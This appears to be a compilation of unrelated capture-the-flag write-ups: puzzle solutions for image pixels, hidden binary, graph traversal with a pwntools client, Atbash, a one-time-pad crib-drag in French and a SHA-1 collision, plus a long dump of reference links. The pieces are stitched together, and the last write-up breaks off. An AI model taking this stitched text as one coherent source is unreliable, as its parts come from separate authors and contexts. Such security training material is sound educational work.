<span>Trivia 20 - SSL 0day<span>Description</span>It lead to memory leakage between servers and clients rending large number of private keys accessible. (one word)<span>Solution</span>"The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet." <span>(Source)</span><span>Flag: </span>Heartbleed</span> |
# Programmin question 1 - 200pts
~~~~We unearthed this text file from one of the older servers and want to know what this is all about. Could you please analyse this and let us know your finding?
abc.txt~~~~
## Solution
The file gives us a list of triplets which obviously seem like pixels, since most of them are (255, 255, 255), i.e., black pixel. The standard python module for image manipulation is *PIL* so all we had to do was reading the pixels and creating an image from it.
In order to read the list as a list and not a string, we trusted eval() (!DANGER!). Fortnuately HackIM guys did not insert a malware in the middle of that mess :)
The second point we had to think about was image dimensions. Ok, here are the pixels, but how should we display then? 512x512? 1000x1000? First I realized (!) the product of the dimensions must be the quantity of tuples (yep, the area of a square). The solution is pretty obvious actually, although it took me almost an hour to figure it out. My first idea was to brute force the dimensions: factorize the lenght of the list into primes and try all possible integers *a* and *b* such that *a*b = len(list)\*.
It happens I was complicating it. The lenght of the list is 528601, which, according to factorDB, is 569\*929. So there you go, with the dimensions the solution is straight forward.
|
Flagception========
> John Hammond | Tuesday, February 7th, 2017
--------------------------------------------
> Yo dawg, I heard you like flags> > So I put a flag in your flag> > Flag format: BITSCTF{a1phanum3r1c_w0rds}
This challenge was really intimidating because there was no link or download or really anything to work with; it was super vague and open-ended.
Usually that means the challenge is referring to something on the [CTF] game site, like a web page source or a logo or something.
That led me to look at their logo...
And the _do_ have a flag in their logo.
With some further inspection, I saw some peculiar colors in that flag...
Some of the pixels in the top-left corner are darker in the other! The width is about `8` for those strange pixels... this must be a bunch of bytes represented in binary.
I cut those out with a `1` being the darker color and a `0` being the lighter color.
Then I cooked it in [Python]:
``` python#!/usr/bin/env python
print ''.join([chr(int(i,2)) for i in '1000010 1001001 1010100 1010011 1000011 1010100 1000110 1111011 1100110 0110001 1100001 1100111 1100011 0110011 1110000 1110100 0110001 0110000 1101110 1111101'.split(' ')])```
Bah.
__The flag was: `BITSCTF{f1agc3pt10n}`__
[netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[man pages]: https://en.wikipedia.org/wiki/Man_page[man]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[port]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[ports]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[redirect]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piped]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[brute-force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[scripts]: https://en.wikipedia.org/wiki/Scripting_language[script]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[automation is divine]: https://www.youtube.com/watch?v=36AA3JGRP9s[repos]:https://help.ubuntu.com/community/Repositories/Ubuntu[repo]:https://help.ubuntu.com/community/Repositories/Ubuntu[repository]:https://help.ubuntu.com/community/Repositories/Ubuntu[repositories]: https://help.ubuntu.com/community/Repositories/Ubuntu[hex dump]: https://en.wikipedia.org/wiki/Hex_dump[hexdump]: https://en.wikipedia.org/wiki/Hex_dump[xxd]: http://linuxcommand.org/man_pages/xxd1.html[mkdir]: https://en.wikipedia.org/wiki/Mkdir[file]: https://en.wikipedia.org/wiki/File_%28command%29[gzip]: http://www.gzip.org/[file extension]: https://en.wikipedia.org/wiki/Filename_extension[bzip]: http://www.bzip.org/[bzip2]: http://www.bzip.org/[tar]: https://en.wikipedia.org/wiki/Tar_%28computing%29[tar command]: http://linuxcommand.org/man_pages/tar1.html[private key]: https://help.ubuntu.com/community/SSH/OpenSSH/Keys[s_client]: https://www.openssl.org/docs/manmaster/apps/s_client.html[nmap]: https://nmap.org/[IP address]: https://en.wikipedia.org/wiki/IP_address[RSA]: https://en.wikipedia.org/wiki/RSA_(cryptosystem)[ssh private key]: https://help.ubuntu.com/community/SSH/OpenSSH/Keys[file permissions]: https://www.linux.com/learn/understanding-linux-file-permissions[octal file permission]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[octal file permissions]: http://www.cyberciti.biz/faq/how-linux-file-permissions-work/[chmod]: https://en.wikipedia.org/wiki/Chmod[diff]: http://man7.org/linux/man-pages/man1/diff.1.html[.bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[bashrc]: http://unix.stackexchange.com/questions/129143/what-is-the-purpose-of-bashrc-and-how-does-it-work[setuid]: https://en.wikipedia.org/wiki/Setuid[user id]: https://en.wikipedia.org/wiki/User_identifier[effective user id]: https://en.wikipedia.org/wiki/User_identifier#Effective_user_ID[cron]: https://en.wikipedia.org/wiki/Cron[file extension]: https://en.wikipedia.org/wiki/Filename_extension[file extensions]: https://en.wikipedia.org/wiki/Filename_extension[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash script]: https://linuxconfig.org/bash-scripting-tutorial[bash scripts]: https://linuxconfig.org/bash-scripting-tutorial[shebang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[she-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha-bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[shabang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[sha bang line]: https://en.wikipedia.org/wiki/Shebang_(Unix)[nano]: https://en.wikipedia.org/wiki/GNU_nano[text editor]: https://en.wikipedia.org/wiki/Text_editor[whoami]: https://en.wikipedia.org/wiki/Whoami[echo]: https://en.wikipedia.org/wiki/Echo_(command)[md5sum]: http://www.tutorialspoint.com/unix_commands/md5sum.htm[checksum]: https://en.wikipedia.org/wiki/Checksum[hash]: https://en.wikipedia.org/wiki/Cryptographic_hash_function[cut]: https://en.wikipedia.org/wiki/Cut_(Unix)[daemon]: https://en.wikipedia.org/wiki/Daemon_(computing)[temporary directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp directory]: https://en.wikipedia.org/wiki/Temporary_folder[temp folder]: https://en.wikipedia.org/wiki/Temporary_folder[temporary folder]: https://en.wikipedia.org/wiki/Temporary_folder[seq]: http://www.cyberciti.biz/tips/tag/seq-command[/etc/passwd]: https://en.wikipedia.org/wiki/Passwd#Password_file[more]: https://en.wikipedia.org/wiki/More_(command)[vi]: https://en.wikipedia.org/wiki/Vi[vim]: http://www.vim.org/[caesar cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[vignere cipher]: https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher[substitution cipher]: https://en.wikipedia.org/wiki/Substitution_cipher[DNA]: https://en.wikipedia.org/wiki/Nucleic_acid_sequence[Python bytecode]: http://security.coverity.com/blog/2014/Nov/understanding-python-bytecode.html[uncompyle]: https://github.com/gstarnberger/uncompyle[Easy Python Decompiler]: https://github.com/aliansi/Easy-Python-Decompiler-v1.3.2[marshal]: https://docs.python.org/2/library/marshal.html[IDLE]: https://en.wikipedia.org/wiki/IDLE[bytecode]: http://whatis.techtarget.com/definition/bytecode[dis]: https://docs.python.org/2/library/dis.html[rot13]: https://en.wikipedia.org/wiki/ROT13[calendar]: https://docs.python.org/2/library/calendar.html[datetime]: https://docs.python.org/2/library/datetime.html[primefac]: https://pypi.python.org/pypi/primefac[re]: https://docs.python.org/2/library/re.html[IDA pro]: https://www.hex-rays.com/products/ida/[IDA]: https://www.hex-rays.com/products/ida/[QR Code]: https://en.wikipedia.org/wiki/QR_code[RGB]: https://en.wikipedia.org/wiki/RGB_color_model[RGB color]: https://en.wikipedia.org/wiki/RGB_color_model[exiftool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[robots.txt]: http://www.robotstxt.org/[XSS]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross-site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cross site scripting]: https://en.wikipedia.org/wiki/Cross-site_scripting[cookie catcher]: http://hackwithstyle.blogspot.com/2011/11/what-is-cookie-catcher-and-how-to-get.html[johnhammond.org]: http://johnhammond.org[HTTP cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[cookie]: https://en.wikipedia.org/wiki/HTTP_cookie[cookies]: https://en.wikipedia.org/wiki/HTTP_cookie[HTTP GET]: http://www.w3schools.com/Tags/ref_httpmethods.asp[tee]: https://en.wikipedia.org/wiki/Tee_(command)[reverse engineering]: https://en.wikipedia.org/wiki/Reverse_engineering[cryptography]: https://en.wikipedia.org/wiki/Cryptography[crypto]: https://en.wikipedia.org/wiki/Cryptography[sed]: https://en.wikipedia.org/wiki/Sed[padding]: https://en.wikipedia.org/wiki/Padding_(cryptography)[xortool]: https://github.com/hellman/xortool[XOR Cracker]: https://wiremask.eu/tools/xor-cracker/ |
<span>Reversing 50 - Gifted</span><span>Description</span>No Description<span>Solution</span><span>The flag appears in the output of strings gifted</span><span>Flag</span><span>AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}</span> |
# Vibranium Circuit ChallengeProgramming 400
> Access the server in 54.175.35.248:8003 EN: Cycles are forbidden.
In the task description we were only given an IP address to the server and a note that circles are not allowed. To find out what this task was about, we needed to connect to the server. I made a netcat connection to the given IP address and received a bit more information on what we were supposed to do. The info included the following:
> [+] To save material, we need you to tell us the minimum number of movements required to build this circuit. > [+] The print starts from the given point, must run the entire circuit and return to the starting point. > [+] Example:
+-+ +-+ +-+ start +---> |1| |2| |3| +++ +-+ +++ | | | | +++ +-+ +++ |4+----+5+----+6| +++ +++ +++ | | | | | | +++ +++ +++ |7| |8| |9| +-+ +-+ +-+ > [+] To solve this example, we will give to you, the number of nodes (9), the number of connections with the start point (7 + 1) and the start point (position 1).
> [+] This is the format of the input diagram to the example: [(1, 1), (1, 4), (4, 5), (4, 7), (5, 8), (5, 6), (6, 9), (6, 3)]
> [+] The answer to the example is 14
So, the first tuple in the connections list represents the starting point, in the example that's (1, 1). From there onwards we had to visit all the nodes, and then return to the starting node without traveling in circles. Because circles were not allowed, the circuit could be presented as a tree structure, and it could be traveled recursively.
I used [NetworkX](https://networkx.github.io/) for graph related functions and came up with the following script to solve the task:
``` pythonimport networkx as nximport ast
def travel_graph(graph, current_node, visited_nodes): found = 0 visited_nodes.append(current_node) for neighbor in graph.neighbors(current_node): if neighbor not in visited_nodes: found += travel_graph(graph, neighbor, visited_nodes) + 2 return found
def get_shortest_path(nodes, connections): edges = ast.literal_eval(connections.strip()) node_range = range(1, nodes + 1) G = nx.Graph() G.add_nodes_from(node_range) # Add nodes G.add_edges_from(edges) # Add edges result = travel_graph(G, edges[0][0], []) return result```
The other part of the task was to create code to interract with the server. The server printed information in the following way:
> [+] To start the challenge inform the number 86: 86 OK, let's go!
> [+] Stage 1 Number of nodes: 9 Connections: [(7, 7), (7, 4), (4, 1), (1, 4), (4, 5), (5, 2)] The minimum is:
I used the following script to interract with the server:``` pythonfrom pwn import *r = remote('54.175.35.248', 8003) # nc 54.175.35.248 8003print r.recvuntil('To start the challenge inform the number '), line = r.recv(3)print line
if ':' not in line: print r.recv()else: line = line.replace(':', '')print liner.send(line.replace(' ', '') + '\n')
while True: try: l = r.recvuntil('Stage') print l , l = r.recvuntil('Number of nodes: ') nodes = r.recvline() print l, nodes, l = r.recvuntil('Connections: ') connections = r.recvline() print l, connections, l = r.recvuntil('The minimum is: ') path_len = get_shortest_path(int(nodes), connections) print l, path_len, r.send(str(path_len) + '\n') line = r.recvline() if 'Wrong!' in line: print line print r.recvall() break except: print r.recvall() breakr.close()```
After 100 rounds we were given the flag. The flag was: 3DS{m4st3r_0f_Th3_l4byrInth} |
# Black Is The New Rose
There were two hints in this challenge. One on the website (something like "look for the black") and second at the end of the file ("seems like you are still a noobie at bash .. Have a closer look !! ... :D ...").
First I've taken a look at the picture looking for black. I found out, there are lines of black in the middle of the image. So I've decided to make a script to analyze them.
The script sets the number of black pixels initially to 0. Then it does the iteration over all pixels in the image and increments result $res[$yy] if it detects black (RGB 0,0,0). Those are the first 2 nested for cycles.
In the result $res are many zeros and a few numbers between 2 and 15, so it could be hex numbers.
Next iteration over result $res puts non-zero numbers to the new array $fus.
Next iteration over array $fus makes those numbers hex, producing new array $haa.
Last iteration over array $haa outputs couples of hex to browser (I used XAMPP on Windows for that).
It produces this: {ziv_gslhv_klgziz_vziirmth?}
It looks very much like the flag but is not accepted, so here comes the team work finding the right cipher. We found out it's Atbash cipher and the resulting flag is {are_those_potara_earrings?}
Done. Thank you Blackfisk for finding out it's Atbash cipher.
mooph |
I was not able to solve it in the remaining time during the CTF. Found this, (obviously not mine):https://github.com/cstanfill/accounting-writeup Original writeup. Contains the original source for the problem.<span>It was initially a bit hard to understand, so rewrote it in order to better understand it and step through the code. </span><span>I posted it here: https://github.com/Caesurus/bkp2017_accounting_simulator/blob/master/exploit.py</span> |
**Crypto - OTPunched - 50pts**
Nous avions à disposition deux cartes perforés de chez IBM.
Pour récupérer les données contenu de dans , nous les avons uploader sur ce site :
http://www.masswerk.at/cardreader/
On obtient deux chaines en hexa :
Carte 1 = 365C997610306888C3CB07B26C7ED39325E4AD1BDC87255B8F5E54B66E253759B306A9BAA01B7D4A
Carte 2 = 5A04DC351E3D7B9CC3CE1DFF5142B08B3AFCA60B9484336B961F54A67319304E8845ABA9B60C734A
L'OTP du titre nous fait penser à un masque jetable. Celui-ci aurait été utilisé pour chiffré les deux plaintext.
https://github.com/SpiderLabs/cribdrag
Nous utilisons le script xorstrings.py de l'outil cribdrag pour xorer les deux chaines.
```BASH./xorstrings.py 365C997610306888C3CB07B26C7ED39325E4AD1BDC87255B8F5E54B66E253759B306A9BAA01B7D4A 5A04DC351E3D7B9CC3CE1DFF5142B08B3AFCA60B9484336B961F54A67319304E8845ABA9B60C734A
=> 6c5845430e0d131400051a4d3d3c63181f180b1048031630194100101d3c07173b43021316170e00```
Nous utilisons ensuite la technique du crib sur cette chaine.
```BASH
./cribdrag.py 6c5845430e0d131400051a4d3d3c63181f180b1048031630194100101d3c07173b43021316170e00
Your message is currently:0 ________________________________________Your key is currently:0 ________________________________________Please enter your crib: punched cards0: "?-+ fhw4cdh)N"1: "(0-mevp f{?YO"2: "56`n{qd%y,OX?"3: "3{cp|ea:.\Nk"...26: "pes_or_cards}"27: "`hRd^'"pwejs"Enter the correct position, 'none' for no match, or 'end' to quit: 26
Is this crib part of the message or key? Please enter 'message' or 'key': messageYour message is currently:0 __________________________punched cards_Your key is currently:0 __________________________pes_or_cards}_
```
On continu ainsi en testant des mots potentiel jusqu'à obtenir le flag.
thcon{punched_tapes_or_cards}
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
**Crypto - brokenhash - 100pts**
Le challenge était sur un site web.Celui-ci nous proposait d'uploader deux fichiers.
Nous créons deux fichiers vide :
```BASHtouch t.txttouch t2.txt```
Le site nous redirige sur une page contenant l'information suivante :
```BASHif sha1[0] == sha1[1] and md5[0] != md5[1]: get flag # ;)```
Nous avons donc ici une collision sha 1 qui colle pafaitement avec l'actualité du moment.
Notre premier essaye à été d'uploader les deux pdf fournit dans les recherches de collision SHA1 de Google. Ils ont la particularité d'avoir la même somme sha1.
[Fichier 1 : Collision SHA1 par google ](../100/file/shattered-1.pdf)
[Fichier 2 : Collision SHA1 par google ](../100/file/shattered-1.pdf)
Retour du site de challenge => Too Easy.
Nous avons utilisé ce site https://alf.nu/SHA1 pour construire notre collision.
Les prérequis sont deux jpg < 64Ko
Le site nous renvoie deux pdf :
[Fichier 1 : Collision SHA1 par Beers4Flags ](../100/file/a.pdf)
[Fichier 2 : Collision SHA1 par Beers4Flags ](../100/file/b.pdf)
Nous verifions que nos deux pdf ont bien la même somme SHA1
